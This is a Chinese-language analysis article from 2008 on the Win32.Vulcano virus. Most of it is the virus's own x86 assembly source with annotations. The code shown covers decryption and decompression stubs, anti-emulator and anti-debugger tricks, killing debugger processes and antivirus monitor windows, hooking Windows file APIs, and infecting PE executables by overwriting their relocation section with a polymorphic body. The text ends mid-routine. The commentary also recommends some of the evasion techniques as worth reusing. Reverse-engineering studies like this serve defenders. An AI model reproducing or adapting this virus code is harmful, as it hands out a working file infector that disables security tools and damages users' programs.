_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ 经典怀旧(一) - Vulcano病毒分析 ]................<| |>......................[ by 玩命/vxjump.net ]...................<| |>......................[ 2008-12-17 ]........................<| \>...................... [ logic_yan@hotmail.com ] ...................... ;SALC opcode ;; SALC ;undoc. opcode to fuck emulators push dword ptr [offset _GetModuleHandleA] ;push original API ;; 以下的语句是将ddAPI直接指向 [offset _GetModuleHandleA] 这种编码技巧 ;; 很值得我们借鉴。及方便又能达到节省空间的目的。Vulcano编码中大量使用了 ;; 这种技巧。 ddAPI = dword ptr $-4 push 400000h ;push image base ImgBase = dword ptr $-4 ;; 保存所有寄存器 ;; 在vulcano病毒中EIP基地址永远保存在ebp寄存器中 ;; 以下是解密过程最终启动后会跳入到decompressed中执行病毒真正的 ;; 恶意代码 pushad ;store all registers call gd ;get delta offset gd: pop ebp ;... lea esi, [ebp + _compressed_ - gd] ;where is compressed virus ;stored lea edi, [ebp + decompressed - gd] ;where will be virus ;decompressed mov ecx, 0 ;size of compressed virus c_size = dword ptr $-4 ;Decompression routine from BCE32 starts here. ;; 这里为BCE32解压函数 ;; 这里是解压函数等稍后在BCE32压缩函数中一通与压缩函数进行分析。 ;; 在以下的代码中有一条 jmp decompressed 的语句当解压后直接跳入 ;; 解压的病毒中进行运行.这里省略了BCE32的代码与后一同在BCE32压缩 ;; 模块分析中进行分析 ;; BCE32解压函数代码 ... ;; 从这里跳入解密后的病毒 --- jmp decompressed ;; BCE32解压函数代码 ... ;; 这里是vulcano存放病毒数据的地方 ;; _compressed_这里是存放压缩后的病毒 _compressed_ db virus_end-compressed+200h dup (?) ;here is stored compressed ;virus body ;; 解压后的病毒以及病毒使用的一些私有数据.在 db size_unint dup (?) 中定义 decompressed: db virus_end-compressed dup (?) ;here decompressed db size_unint dup (?) ;and here all uninitialized ;variables virtual_end: ;end of virus in memory ends //------------------------------------------------------------------------------------------------------------------------------------------ 病毒要压缩的部分,这部分为病毒实体。是本文的重点部分 //------------------------------------------------------------------------------------------------------------------------------------------ compressed: ;compressed body starts here ;; 建立一个异常处理函数,指向jmp_host.其后会进行分析 ;; 建立后调用call gdlta.到gdlta中进行分析...(同志们翻页了) @SEH_SetupFrame ;setup SEH frame call gdlta ;calculate delta offset ;; 以下是病毒所用的一些地址记录。这里记录的都是到gdelta的一个偏移 ;; 病毒所需API的地址 gdelta: dd ddFindFirstFileA-gdelta ;addresses dd ddFindNextFileA-gdelta ;of variables dd ddFindClose-gdelta ;where will dd ddSetFileAttributesA-gdelta ;be stored dd ddSetFileTime-gdelta ;addresses of APIs dd ddCreateFileA-gdelta dd ddCreateFileMappingA-gdelta dd ddMapViewOfFile-gdelta dd ddUnmapViewOfFile-gdelta dd ddCreateThread-gdelta dd ddWaitForSingleObject-gdelta dd ddCloseHandle-gdelta dd ddCreateMutexA-gdelta dd ddReleaseMutex-gdelta dd ddOpenMutexA-gdelta dd ddSleep-gdelta dd ddVirtualProtect-gdelta dd ddGetCurrentProcessId-gdelta dd ddOpenProcess-gdelta dd ddTerminateProcess-gdelta dd ddLoadLibraryA-gdelta dd ddGetProcAddress-gdelta dd ddFreeLibrary-gdelta dd ? ;end of record ;; Hook函数的地址 newHookers: dd newFindFirstFileA-gdelta ;addresses of API hookers dd newFindNextFileA-gdelta dd newCopyFileA-gdelta dd newCopyFileExA-gdelta dd newCreateFileA-gdelta dd newCreateProcessA-gdelta dd newDeleteFileA-gdelta dd newGetFileAttributesA-gdelta dd newGetFullPathNameA-gdelta dd new_lopen-gdelta dd newMoveFileA-gdelta dd newMoveFileExA-gdelta dd newOpenFile-gdelta dd newSetFileAttributesA-gdelta dd newWinExec-gdelta dd newExitProcess-gdelta dd newExitThread-gdelta dd newGetLastError-gdelta dd newCloseHandle-gdelta dd ? ;end of record ;; 被Hook的API原来的地址 oldHookers: dd oldFindFirstFileA-gdelta ;addresses, where will be dd oldFindNextFileA-gdelta ;stored original dd oldCopyFileA-gdelta ;API callers dd oldCopyFileExA-gdelta dd oldCreateFileA-gdelta dd oldCreateProcessA-gdelta dd oldDeleteFileA-gdelta dd oldGetFileAttributesA-gdelta dd oldGetFullPathNameA-gdelta dd old_lopen-gdelta dd oldMoveFileA-gdelta dd oldMoveFileExA-gdelta dd oldOpenFile-gdelta dd oldSetFileAttributesA-gdelta dd oldWinExec-gdelta dd oldExitProcess-gdelta dd oldExitThread-gdelta dd oldGetLastError-gdelta dd oldCloseHandle-gdelta ;; 这里就是病毒真正要开始的地方 ;; 第一条语句将gdelta的地址放入ebp中 gdlta: pop ebp ;get delta offset ;; 首先解密第2层加密的地方,异或1,长度为(virus_end-encrypted+3)/4 ;; 这里使用了一个小技巧来对抗仿真换了一下选择子 lea esi, [ebp + encrypted - gdelta] ;get start of encrypted code mov ecx, (virus_end-encrypted+3)/4 ;number of dwords to encrypt push es ;save selector push ds pop es ;ES=DS decrypt:lodsd ;load dword xor eax, 1 ;decrypt it mov es:[esi-4], eax ;save dword with AntiAV (usage of loop decrypt ;selectors) ;; 第2层加密的地方 encrypted: ;encrypted code starts here pop es ;restore selector ;; crc32prot 这里是被CRC保护的位置,病毒在这里进行校验 lea esi, [ebp + crc32prot - gdelta] ;start of CRC32 protected code mov edi, virus_end-crc32prot ;size of that call CRC32 ;calculate CRC32 cmp eax, 05BB5B647h ;check for consistency ;; 被CRC32保护的位置 crc32prot: ;; 如果校验值不一样则跳入到jmp_host中 jne jmp_host ;jump to host if breakpoints set and such ;; 检查是否是Pentium系列的主机 ;Pentium+ check pushad pushfd ;save EFLAGS pop eax ;get them mov ecx, eax ;save them or eax, 200000h ;flip ID bit in EFLAGS push eax ;store popfd ;flags pushfd ;get them back pop eax ;... xor eax, ecx ;same? je end_cc ;shit, we r on 486- xor eax, eax ;EAX=0 inc eax ;EAX=1 cpuid ;CPUID and eax, 111100000000b ;mask processor family cmp ah, 4 ;is it 486? je end_cc ;baaaaaaad popad ;; 以下这段代码可以ANTI老版本的NodICE(比99年还老) ;; 对于现在??? mov eax, ds ;this will fuck push eax ;some old versions pop ds ;of NodICE mov ebx, ds xor eax, ebx jne jmp_host ;; 获取所需的API地址 ;; 这里取了一些通常的Kernel32.dll的ImageBase ;; 调用get_base验证ImageBase的值 mov eax, 77F00000h ;WinNT 4.0 k32 image base call get_base jecxz k32_found ;we got image base mov eax, 77E00000h ;Win2k k32 image base call get_base jecxz k32_found ;we got image base mov eax, 77ED0000h ;Win2k k32 image base call get_base jecxz k32_found ;we got image base mov eax, 0BFF70000h ;Win95/98 k32 image base call get_base test ecx, ecx jne jmp_host ;base of k32 not found, quit ;; 返回到 k32_found 标签 ;; 利用ret跳入,对抗反汇编器 push cs lea ebx, [ebp + k32_found - gdelta] ;continue on another label push ebx retf ;fuck u emulator! :) ;; 出错处理,弹出所有保存的寄存器,并 ;; 跳入到jmp_host标签执行 end_cc: popad ;restore all registers jmp jmp_host ;and jump to host db 'Win32.Vulcano by Benny/29A' ;little signature :) ;; 获取到kernel32.dll的句柄后遍历从kernel32.dll的引出表 ;; 取得所需API的地址.取地址的时候.API的名字是用CRC32的值 ;; 进行校验的,这里利用了堆栈的一些技巧。第一条语句获取了 ;; 当前宿主程序的ImageBase k32_found: mov ebx, [esp.cPushad+8] ;get image base of app ;; 将当前宿主程序的ImageBase写入到GMHA标签地址处 mov [ebp + GMHA - gdelta], ebx ;save it ;; ebx指向当前程序的PE头 add ebx, [ebx.MZ_lfanew] ;get to PE header ;; esi中存放的要取的API地址的字符串CRC32的值 lea esi, [ebp + crcAPIs - gdelta] ;start of CRC32 API table mov edx, ebp ;get table of pointers ;; edi指向到存放地址的偏移 s_ET: mov edi, [edx] ;get item ;; 如果判断时候到达最后一个存放的位置,如果为0则达到 ;; 也表明取得所有API地址 test edi, edi ;is it 0? ;; 搜索完毕后跳入 end_ET标签. je end_ET ;yeah, work is done ;; edi中为存放的偏移,ebp为当前的EIP,相加 ;; edi为存放偏移的空间地址 add edi, ebp ;normalize push eax ;save EAX call SearchET ;search for API stosd ;save its address test eax, eax ;was it 0? pop eax ;restore EAX ;; 如果SearchET返回eax = 0 则表明出错 je jmp_host ;yeah, error, quit ;; 如果为非0则CRC32表的指针移动,存放偏移表的指针移动 add esi, 4 ;correct pointers add edx, 4 ;to pointers... jmp s_ET ;loop ;; 确定是否是kernel32.dll的ImageBase ;; 一个简单的判断,eax中存放的为事先 ;; 存入的ImageBase的值.然后利用判断 ;; MZ标志和PE标志来确定是否是正确的 ;; PE结构 get_base: pushad ;save all registers ;; 安装异常处理,出错到err_gbase标号 @SEH_SetupFrame ;setup SEH frame xor ecx, ecx ;set error value inc ecx cmp word ptr [eax], IMAGE_DOS_SIGNATURE ;is it EXE? jne err_gbase ;no, quit dec ecx ;yeah, set flag err_gbase: ;and quit ;; 移除异常处理,ecx中1为出错,0为成功 @SEH_RemoveFrame ;remove SEH frame ;; 利用pushad返回到ecx mov [esp.Pushad_ecx], ecx ;save flag popad ;restore all registers ret ;and quit from procedure ;; 当获取完所有所需API的地址,流程将跳入此. ;; 这里主要的作用是开辟一条线程来进行当前宿主 ;; 程序的引入表HOOK end_ET: lea eax, [ebp + tmp - gdelta] ;now we will create new push eax ;thread to hide writing to xor eax, eax ;Import table push eax ;; 将所用API地址的偏移表作为参数 ;; 传递给新的线程 push ebp ;delta offset lea edx, [ebp + NewThread - gdelta] ;address of thread procedure push edx push eax ;and other shit to stack push eax mov eax, 0 ;; 这里是一个很猥琐的技巧,可以在自己的代码中 ;; 进行应用 ddCreateThread = dword ptr $-4 call eax ;create thread! test eax, eax ;is EAX=0? ;; 开辟线程失败则退出 je jmp_host ;yeah, quit ;; 要入第一个eax是给CloseHandle传参数 ;; 其后等待这个线程执行完毕 push eax ;parameter for CloseHandle push -1 ;infinite loop push eax ;handle of thread call [ebp + ddWaitForSingleObject - gdelta] ;wait for thread termination call [ebp + ddCloseHandle - gdelta] ;close thread handle ;now we will create space in shared memory for VLCB structure ;;创建一个VLCB结构在共享内存 call @VLCB db 'VLCB',0 ;name of shared area @VLCB: push 2000h ;size of area push 0 push PAGE_READWRITE push 0 ;; 创建一个交换文件的映射 push -1 ;SWAP FILE! call [ebp + ddCreateFileMappingA - gdelta] ;open area test eax, eax je jmp_host ;quit if error xor edx, edx push edx push edx push edx push FILE_MAP_WRITE push eax call [ebp + ddMapViewOfFile - gdelta] ;map view of file to address xchg eax, edi ;space of virus test edi, edi ;; 如果映射出错则跳入 end_gd1 标签处 je end_gd1 ;quit if error mov [ebp + vlcbBase - gdelta], edi ;save base address ;now we will create named mutex ;; 创建一个互斥体,互斥名随机 call @@@1 ;push address of name @@1: dd 0 ;random name @@@1: RDTCS ;get random number mov edx, [esp] ;get address of name shr eax, 8 ;terminate string with \0 mov [edx], eax ;and save it ;; esi指向互斥体名 mov esi, [esp] ;get address of generated name push 0 push 0 mov eax, 0 ddCreateMutexA = dword ptr $-4 call eax ;create mutex test eax, eax ;; 创建失败则跳入end_gd2 je end_gd2 ;quit if error ;now we will initialize VLCB structure ;;初始化VLCB结构 xor edx, edx ;EDX=0 ;; edi保存的VLCB共享内存 mov eax, edi ;get base of VLCB ;; VLCB的标志 mov [eax.VLCB_Signature], 'BCLV' ;save signature ;now we will initialize record for thread ;; 20个通信频道 mov ecx, 20 ;20 communication channels ;; 检查当前记录结构是否被使用,如果被使用则进入下一个 sr_t: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 ;check handle jne tnext ;if already reserved, then try next mov esi, [esi] ;get name of mutex mov [edi.VLCB_TSep.VLCB_THandle], esi ;save it ;; 互斥体的ID号 mov [ebp + t_number - gdelta], edx ;and save ID number of mutex ;; 创建线程,这里创建后则跳入到宿主中进行执行 ;; 线程中进行等待当宿主程序执行到被HOOK的函数时 ;; 通过对以上线程的操作来进行一下步操作 lea eax, [ebp + tmp - gdelta] ;create new thread push eax ;for IPC xor eax, eax push eax push ebp lea edx, [ebp + mThread - gdelta] ;address of thread procedure push edx push eax push eax call [ebp + ddCreateThread - gdelta] ;create new thread xchg eax, ecx jecxz end_gd3 ;quit if error ;; 如果有任何错误则跳入到宿主程序中 jmp_host: ;移除SEH处理程序 @SEH_RemoveFrame ;remove SEH frame mov eax, [esp.cPushad+4] ;save address of previous mov [esp.Pushad_eax], eax ;API caller popad ;restore all regs add esp, 8 ;repair stack pointer push cs ;save selector push eax ;save offset of API caller retf ;jump to host :) ;; 下一个VLCB结构,移动edi指针 tnext: add edi, VLCB_TSize ;get to next record ;; 互斥体ID号自增 inc edx ;increment counter loop sr_t ;try again jmp jmp_host ;quit if more than 20 viruses r in memory end_gd3:push esi call [ebp + ddCloseHandle - gdelta] ;close mutex end_gd2:push dword ptr [ebp + vlcbBase - gdelta] call [ebp + ddUnmapViewOfFile - gdelta] ;unmap VLCB end_gd1:push edi call [ebp + ddCloseHandle - gdelta] ;close mapping of file jmp jmp_host ;and jump to host gtDelta:call mgdlta ;procedure used to getting ;; 可以利用此方法的扩展随机产生单字节opcode去影响后面的指令 ;; 从而达到ANTI-反汇编的目的 ;; mgdelta标记和ebp在病毒后面用来定位地址 mgdelta:db 0b8h ;fuck u disassemblers mgdlta: pop ebp ;get it ;; 这里也进行了一个模糊的跳入,跳入之前压入堆栈的地址 ret ;and quit ;; 被Hook的函数们,被HOOK的函数大多都与文件操作有关 ;; 这些函数被用来检查文件时候可以被感染,以及感染文件 newFindFirstFileA: ;hooker for FindFirstFileA API push dword ptr [esp+8] ;push parameters push dword ptr [esp+8] ;... c_api oldFindFirstFileA ;call original API p_file: pushad ;store all registers call gtDelta ;get delta mov ebx, [esp.cPushad+8] ;get Win32 Find Data call Check&Infect ;try to infect file popad ;restore all registers ret 8 ;and quit newFindNextFileA: push dword ptr [esp+8] ;push parameters push dword ptr [esp+8] ;... c_api oldFindNextFileA ;call previous API jmp p_file ;and continue ;; 这段函数对以下一些操作文件的API的支持 process_file: pushad ;store all registers call gtDelta ;get delta offset lea esi, [ebp + WFD2 - mgdelta] ;get Win32_Find_Data push esi ;save it push dword ptr [esp.cPushad+0ch] ;push offset to filename call [ebp + ddFindFirstFileA - mgdelta] ;find that file inc eax je end_pf ;quit if error dec eax xchg eax, ecx ;handle to ECX mov ebx, esi ;WFD to EBX call Check&Infect ;check and infect it push ecx call [ebp + ddFindClose - mgdelta] ;close find handle end_pf: popad ;restore all registers ret ;and quit ;generic hookers for some APIs newCopyFileExA: call process_file j_api oldCopyFileExA newCopyFileA: call process_file j_api oldCopyFileA newCreateFileA: call process_file j_api oldCreateFileA newCreateProcessA: call process_file j_api oldCreateProcessA newDeleteFileA: call process_file j_api oldDeleteFileA newGetFileAttributesA: call process_file j_api oldGetFileAttributesA newGetFullPathNameA: call process_file j_api oldGetFullPathNameA new_lopen: call process_file j_api old_lopen newMoveFileA: call process_file j_api oldMoveFileA newMoveFileExA: call process_file j_api oldMoveFileExA newOpenFile: call process_file j_api oldOpenFile newSetFileAttributesA: call process_file j_api oldSetFileAttributesA newWinExec: call process_file j_api oldWinExec ;; 打开一个设备驱动 open_driver: xor eax, eax ;EAX=0 push eax ;parameters push 4000000h ;for push eax ;CreateFileA push eax ;API push eax ;function push eax ;... push ebx call [ebp + ddCreateFileA - mgdelta] ;open driver ret ;; 关闭设备驱动 close_driver: push eax ;close its handle call [ebp + ddCloseHandle - mgdelta] ret ;; 检测调试器相关 common_stage: ;infect files in curr. directory pushad call gtDelta ;get delta offset mov ecx, fs:[20h] ;get context debug jecxz n_debug ;if zero, debug is not present k_debug:mov eax, 0 ddGetCurrentProcessId = dword ptr $-4 call eax ;get ID number of current process call vlcb_stuph ;common stuph lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data mov ebx, VLCB_Debug1 ;kill debugger call get_set_VLCB ;IPC! vlcb_stuph: xor edx, edx ;random thread dec edx mov ecx, VLCB_SetWait ;set and wait for result ret n_debug:call vlcb_stuph ;common stuph lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data mov ebx, VLCB_Debug2 ;check for SoftICE call get_set_VLCB ;IPC! mov eax, dword ptr [esi.WFD_szAlternateFileName] ;get result dec eax test eax, eax je endEP ;quit if SoftICE in memory call vlcb_stuph ;common stuph lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data mov ebx, VLCB_Monitor ;kill monitors call get_set_VLCB ;IPC! lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data push ebx ;store its address call star db '*.*',0 ;create mask star: mov eax, 0 ddFindFirstFileA = dword ptr $-4 call eax ;find file inc eax je endEP ;if error, then quit dec eax mov [ebp + fHandle - mgdelta], eax ;store handle call Check&Infect ;and try to infect file findF: lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data push ebx ;store address push_LARGE_0 ;store handle fHandle = dword ptr $-4 mov eax, 0 ddFindNextFileA = dword ptr $-4 call eax ;find next file xchg eax, ecx ;result to ECX jecxz endEP2 ;no more files, quit call Check&Infect ;try to infect file jmp findF ;find another file endEP2: push dword ptr [ebp + fHandle - mgdelta];store handle mov eax, 0 ddFindClose = dword ptr $-4 call eax ;close it endEP: popad ret ;; 当程序退出时运行.检验调试器是否存在并且感染当前目录下文件 newExitProcess: ;hooker for ExitProcess API pushad call common_stage ;infect files in current directory call gtDelta ;get delta offset mov edx, [ebp + t_number - mgdelta] ;get ID number of thread push edx mov ecx, VLCB_SetWait ;set and wait for result lea esi, [ebp + data_buffer - mgdelta] mov dword ptr [esi.WFD_szAlternateFileName], ebp mov ebx, VLCB_Quit ;terminate thread call get_set_VLCB ;IPC! pop edx ;number of thread imul edx, VLCB_TSize ;now we will push VLCB_TSize/4 ;erase thread pop ecx ;record add edi, edx ;from VLCB add edi, VLCB_TSep xor eax, eax rep stosd ;... popad j_api oldExitProcess ;jump to original API ;next hookers newExitThread: call common_stage j_api oldExitThread newCloseHandle: call common_stage j_api oldCloseHandle newGetLastError: call common_stage j_api oldGetLastError ;; 反AMON AVP monitor ;; 原理就是好寻找窗体,之后向窗体发送退出消息 Monitor:pushad ;store all registers call szU32 ;push address of string USER32.dll db 'USER32',0 szU32: mov eax, 0 ddLoadLibraryA = dword ptr $-4 ;Load USER32.dll call eax xchg eax, ebx test ebx, ebx je end_mon2 ;quit if error call FindWindowA ;push address of string FindWindowA db 'FindWindowA',0 FindWindowA: push ebx ;push lib handle mov eax, 0 ddGetProcAddress = dword ptr $-4 ;get address of FindWindowA API call eax xchg eax, esi test esi, esi je end_mon ;quit if error call PostMessageA ;push address of string PostMessageA db 'PostMessageA',0 PostMessageA: push ebx call [ebp + ddGetProcAddress - mgdelta] ;get address of PostMessageA xchg eax, edi test edi, edi je end_mon ;quit if error mov ecx, 3 ;number of monitors call Monitors ;push address of strings db 'AVP Monitor',0 ;AVP monitor db 'Amon Antivirus Monitor',0 ;AMON english version db 'Antiv韗usov?monitor Amon',0 ;AMON slovak version Monitors: pop edx ;pop address k_mon: pushad ;store all registers xor ebp, ebp push edx push ebp call esi ;find window test eax, eax je next_mon ;quit if not found push ebp push ebp push 12h ;WM_QUIT push eax call edi ;destroy window next_mon: popad ;restore all registers push esi mov esi, edx @endsz ;get to next string mov edx, esi ;move it to EDX pop esi loop k_mon ;try another monitor end_mon:push ebx ;push lib handle mov eax, 0 ddFreeLibrary = dword ptr $-4 call eax ;unload library end_mon2: popad ;restore all registers jmp d_wr ;and quit ;; 这段代码用来实现检查在95与NT下的softice Debug2: lea ebx, [ebp + sice95 - mgdelta] ;address of softice driver string call open_driver ;open driver inc eax ;is EAX==0? je n_sice ;yeah, SoftICE is not present dec eax call close_driver ;close driver jmp d_wr ;and quit n_sice: lea ebx, [ebp + siceNT - mgdelta] ;address of softice driver string call open_driver ;open driver inc eax je n2_db ;quit if not present dec eax call close_driver ;close driver jmp d_wr ;and quit ;; 这段代码用来通过调试的进程ID来结束调试器的进程 Debug1: push dword ptr [esi.WFD_szAlternateFileName] ;push ID number of process push 0 push 1 mov eax, 0 ddOpenProcess = dword ptr $-4 call eax ;open process test eax, eax jne n1_db n2_db: call t_write ;quit if error jmp m_thrd n1_db: push 0 push eax mov eax, 0 ddTerminateProcess = dword ptr $-4 ;destroy debugged process :) call eax jmp t_write ;; 中断通讯的主要线程处理程序 ;; 这个毒比较出彩的地方 mThread:pushad ;main IPC thread @SEH_SetupFrame ;setup SEH frame call gtDelta ;get delta ;; 指向call getDelta后跳入到此进行真正的执行 ;; m_thrd是一个自修改的地方,用于确定自己的线程 ;; ID号 m_thrd: mov edx, 0 ;get thread ID number t_number = dword ptr $-4 ;; ecx中保存了等待信号 mov ecx, VLCB_WaitGet ;; esi中保存了一个临时缓冲的指针 lea esi, [ebp + data_buffer - mgdelta] ;; 设置数据并等待 call get_set_VLCB ;wait for request ;; 如果等到请求则以此判断请求 dec ecx ;; 退出 jecxz Quit ;quit dec ecx ;; 检查文件是否可以感染 jecxz Check ;check file cmp ecx, 1 ;; 感染文件 je Infect ;check and infect file cmp ecx, 2 ;; 检查调试器 je Debug1 ;check for debugger ;; 检查调试器 cmp ecx, 3 je Debug2 ;check for SoftICE ;; 检查AV monitors cmp ecx, 4 je Monitor ;kill AV monitors push 0 call [ebp + ddSleep - mgdelta] ;switch to next thread jmp m_thrd ;and again... Quit: call t_write ;write result end_mThread: @SEH_RemoveFrame ;remove SEH frame popad ;restore all registers ret ;and quit from thread t_write:xor ecx, ecx ;set result inc ecx t_wr: inc ecx mov dword ptr [esi.WFD_szAlternateFileName], ecx ;write it mov ecx, VLCB_SetWait ;set and wait mov edx, [ebp + t_number - mgdelta] ;this thread call get_set_VLCB ;IPC! ret Check: @SEH_SetupFrame ;setup SEH frame call CheckFile ;check file jecxz err_sCheck ;quit if error _c1_ok: @SEH_RemoveFrame ;remove SEH frame call t_write ;write result jmp m_thrd ;and quit err_sCheck: @SEH_RemoveFrame ;remove SEH frame d_wr: xor ecx, ecx call t_wr ;write result jmp m_thrd ;and quit ;; 感染算法 Infect: @SEH_SetupFrame ;setup SEH frame call InfectFile ;check and infect file jmp _c1_ok ;and quit InfectFile: lea esi, [esi.WFD_szFileName] ;get filename pushad xor eax, eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE push esi mov eax, 0 ddCreateFileA = dword ptr $-4 call eax ;open file inc eax je r_attr ;quit if error dec eax mov [ebp + hFile - mgdelta], eax ;save handle xor edx, edx push edx push edx push edx push PAGE_READWRITE push edx push eax mov eax, 0 ddCreateFileMappingA = dword ptr $-4 call eax ;create file mapping xchg eax, ecx jecxz endCreateMapping ;quit if error mov [ebp + hMapFile - mgdelta], ecx ;save handle xor edx, edx push edx push edx push edx push FILE_MAP_WRITE push ecx mov eax, 0 ddMapViewOfFile = dword ptr $-4 call eax ;map view of file xchg eax, ecx jecxz endMapFile ;quit if error mov [ebp + lpFile - mgdelta], ecx ;save base address jmp nOpen ;; 这里当感染完毕后做的一些事情 endMapFile: push_LARGE_0 ;store base address lpFile = dword ptr $-4 mov eax, 0 ddUnmapViewOfFile = dword ptr $-4 call eax ;unmap view of file endCreateMapping: push_LARGE_0 ;store handle hMapFile = dword ptr $-4 call [ebp + ddCloseHandle - mgdelta] ;close file mapping ;将修改时间重新写回 lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta] push eax lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta] push eax lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta] push eax push dword ptr [ebp + hFile - mgdelta] mov eax, 0 ddSetFileTime = dword ptr $-4 call eax ;set back file time push_LARGE_0 ;store handle hFile = dword ptr $-4 call [ebp + ddCloseHandle - mgdelta] ;close file ;将文件属性重新设置 r_attr: push dword ptr [ebp + data_buffer - mgdelta] lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta] push esi ;filename call [ebp + ddSetFileAttributesA - mgdelta] ;set back file attributes jmp c_error ;and quit ;; 这里是感染的开始,ecx保存的是宿主文件的在内存的映射地址-pMem nOpen: mov ebx, ecx cmp word ptr [ebx], IMAGE_DOS_SIGNATURE ;must be MZ jne endMapFile mov esi, [ebx.MZ_lfanew] add esi, ebx lodsd cmp eax, IMAGE_NT_SIGNATURE ;must be PE\0\0 jne endMapFile cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+ jne endMapFile mov ax, [esi.FH_Characteristics] test ax, IMAGE_FILE_EXECUTABLE_IMAGE ;must be executable je endMapFile test ax, IMAGE_FILE_DLL ;mustnt be DLL jne endMapFile test ax, IMAGE_FILE_SYSTEM ;mustnt be system file jne endMapFile mov al, byte ptr [esi.OH_Subsystem] test al, IMAGE_SUBSYSTEM_NATIVE ;and mustnt be driver (thanx GriYo !) jne endMapFile ;; 最少是两个节,才感染 movzx ecx, word ptr [esi.FH_NumberOfSections] ;must be more than one section dec ecx test ecx, ecx je endMapFile imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER movzx edx, word ptr [esi.FH_SizeOfOptionalHeader] lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER] ;; edi为当前最后一节的节表 add edi, esi ;get to section header ;; 如果没有重定义节则不感染 lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4] mov eax, [edx] test eax, eax je endMapFile ;quit if no relocs ;; 如果有重定位节则判断重定位节是不是处于最后一节,如果不是则退出 mov ecx, [edi.SH_VirtualAddress] cmp ecx, eax jne endMapFile ;is it .reloc section? ;; 如果重定位节处于最后一节,则判断它的文件对齐大小是否小于1a00h ;; 大于等于则退出 cmp [edi.SH_SizeOfRawData], 1a00h jb endMapFile ;check if .reloc is big enough ;; 清除重定位表在数据目录的记录 pushad xor eax, eax mov edi, edx stosd ;erase .reloc records stosd popad ;; ebx中存放的是pMem mov eax, ebx ;now we will try to xor ecx, ecx ;patch it_patch: pushad ;one API call ;; 获取要打补丁函数的CRC32值 mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta] ;get CRC32 test edx, edx jne c_patch popad jmp end_patch ;quit if end of record ;; 开始设置模糊入口点EPO ;; 因为Vulcano是写在重定位节上面,所以这里将重定位节的RVA ;; 设置到一个要进行HOOK的函数上,这些函数存放在表crcpAPIs ;; 中都是些应用程序经常使用的API. c_patch:push dword ptr [edi.SH_VirtualAddress] ;patch address push edx ;CRC32 mov [ebp + r2rp - mgdelta], eax ;infection stage call PatchIT ;try to patch API call mov [esp.Pushad_edx], eax ;save address test eax, eax ;; 只要有一个函数被补丁成功则跳出 popad ;此时edx为被补丁函数的地址 jne end_patch ;quit if we got address inc ecx jmp it_patch ;API call not found, try another API ;; 完成了对重定位表的补丁,写入病毒到宿主 end_patch: ;; eax新的函数的地址 mov eax, edx mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4] ;get Image base ;; 再这里将被感染程序的ImageBase写入到初始化标签 mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx ;save it lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta] push dword ptr [edx] ;store prev. API call mov [edx], eax ;save new one pushad ;store all registers lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta] mov edi, [edi.SH_PointerToRawData] ;; 这里把原先宿主程序的重定位节进行覆盖,病毒替换了原先的重定位节 add edi, ebx ;where to write body ;; 这里是要变形的长度 mov ecx, (decompressed-VulcanoInit+3)/4 ;size of virus body call BPE32 ;write morphed body to file! ;; eax中为变形后的长度 mov [esp.Pushad_eax], eax ;save size popad pop dword ptr [edx] ;restore API call ;; 修改节属性为可读可写可执行 or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE ;set flags ;; 修改大小 lea ecx, [edi.SH_VirtualSize] ;get virtual size add [ecx], eax ;correct it mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4] xor edx, edx div ecx inc eax mul ecx mov edx, [edi.SH_SizeOfRawData] mov [edi.SH_SizeOfRawData], eax ;align SizeOfRawData ;; 此节是初始化数据,如果是则重新设置 test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA je rs_ok sub eax, edx add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax ;update next field, if needed rs_ok: mov eax, [edi.SH_VirtualAddress] add eax, [edi.SH_VirtualSize] xor edx, edx mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4] div ecx inc eax mul ecx ;; 设置SizeOfImage mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax ;new SizeOfImage jmp endMapFile ;everything is ok, we can quit ;; 此函数用于检测当前目标文件的大小,后缀名等是否符合感染条件 CheckFile: pushad mov ebx, esi test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY jne c_error ;discard directory entries xor ecx, ecx cmp [ebx.WFD_nFileSizeHigh], ecx ;discard files >4GB jne c_error mov edi, [ebx.WFD_nFileSizeLow] cmp edi, 4000h ;discard small files jb c_error lea esi, [ebx.WFD_szFileName] ;get filename push esi endf: lodsb cmp al, '.' ;search for dot jne endf dec esi lodsd ;get filename extension or eax, 20202020h ;make it lowercase not eax ;mask it pop esi cmp eax, not 'exe.' ;is it EXE? je extOK cmp eax, not 'rcs.' ;is it SCR? je extOK cmp eax, not 'xfs.' ;is it SFX? je extOK 